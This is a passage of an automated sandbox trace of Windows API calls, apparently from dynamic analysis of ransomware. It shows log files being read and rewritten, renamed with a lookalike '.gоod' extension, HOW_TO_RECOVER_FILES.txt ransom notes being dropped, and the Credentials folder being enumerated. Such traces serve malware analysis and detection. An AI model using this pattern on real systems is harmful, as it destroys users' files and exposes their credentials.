cAlternateFileName="")) returned 0x134a980 [0213.557] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.557] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0213.558] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x5b887484, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0213.558] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.558] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0213.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0213.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0213.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0213.558] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x3d [0213.558] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0213.558] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.559] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0213.559] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x5b887484, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0213.559] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x5b887484, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xdad, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 0 [0213.559] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0213.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0213.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0213.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4e [0213.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0213.559] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x3612a90 | out: lpFileInformation=0x3612a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x205)) returned 1 [0213.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0213.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4e [0213.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0213.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0213.560] GetFileType (hFile=0x81c) returned 0x1 [0213.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0213.560] GetFileType (hFile=0x81c) returned 0x1 [0213.560] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x205 [0213.560] ReadFile (in: hFile=0x81c, lpBuffer=0x3612f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3612f70*, lpNumberOfBytesRead=0x207ec5c8*=0x205, lpOverlapped=0x0) returned 1 [0213.561] CloseHandle (hObject=0x81c) returned 1 [0213.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0213.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0213.667] GetFileType (hFile=0x81c) returned 0x1 [0213.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0213.667] GetFileType (hFile=0x81c) returned 0x1 [0213.667] WriteFile (in: hFile=0x81c, lpBuffer=0x34961b0*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x34961b0*, lpNumberOfBytesWritten=0x207ec4d8*=0x210, lpOverlapped=0x0) returned 1 [0213.668] CloseHandle (hObject=0x81c) returned 1 [0213.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4e [0213.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log.gоod", lpFilePart=0x0) returned 0x53 [0213.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0213.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7b919cb5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0213.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0213.668] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log.gоod")) returned 1 [0213.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x50 [0213.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0213.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x3497470 | out: lpFileInformation=0x3497470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x5b887484, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xdad)) returned 1 [0213.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0213.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x50 [0213.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0213.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0213.669] GetFileType (hFile=0x81c) returned 0x1 [0213.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0213.669] GetFileType (hFile=0x81c) returned 0x1 [0213.669] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0xdad [0213.669] ReadFile (in: hFile=0x81c, lpBuffer=0x3498508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3498508*, lpNumberOfBytesRead=0x207ec5c8*=0xdad, lpOverlapped=0x0) returned 1 [0214.250] CloseHandle (hObject=0x81c) returned 1 [0214.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x50 [0214.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0214.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0214.349] GetFileType (hFile=0x478) returned 0x1 [0214.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0214.349] GetFileType (hFile=0x478) returned 0x1 [0214.349] WriteFile (in: hFile=0x478, lpBuffer=0x35d9700*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x35d9700*, lpNumberOfBytesWritten=0x207ec4d8*=0xdb0, lpOverlapped=0x0) returned 1 [0214.350] CloseHandle (hObject=0x478) returned 1 [0214.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x50 [0214.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log.gоod", lpFilePart=0x0) returned 0x55 [0214.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0214.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb86d2dbd, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0xb86d2dbd, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x7bfaf5e0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdb0)) returned 1 [0214.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0214.351] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log.gоod")) returned 1 [0214.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0214.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0214.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x478 [0214.354] GetFileType (hFile=0x478) returned 0x1 [0214.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0214.354] GetFileType (hFile=0x478) returned 0x1 [0214.355] WriteFile (in: hFile=0x478, lpBuffer=0x35dd558*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x35dd558*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.355] CloseHandle (hObject=0x478) returned 1 [0214.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0214.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0214.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x478 [0214.357] GetFileType (hFile=0x478) returned 0x1 [0214.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0214.357] GetFileType (hFile=0x478) returned 0x1 [0214.358] WriteFile (in: hFile=0x478, lpBuffer=0x35e0f50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35e0f50*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.359] CloseHandle (hObject=0x478) returned 1 [0214.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0214.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x33 [0214.359] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4153afa6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49ddf04f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.359] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4153afa6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49ddf04f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.360] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49e04f8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0214.360] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.360] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0214.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0214.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0214.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x33 [0214.360] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49ddf04f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.360] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49ddf04f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.361] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49e04f8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0214.361] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: 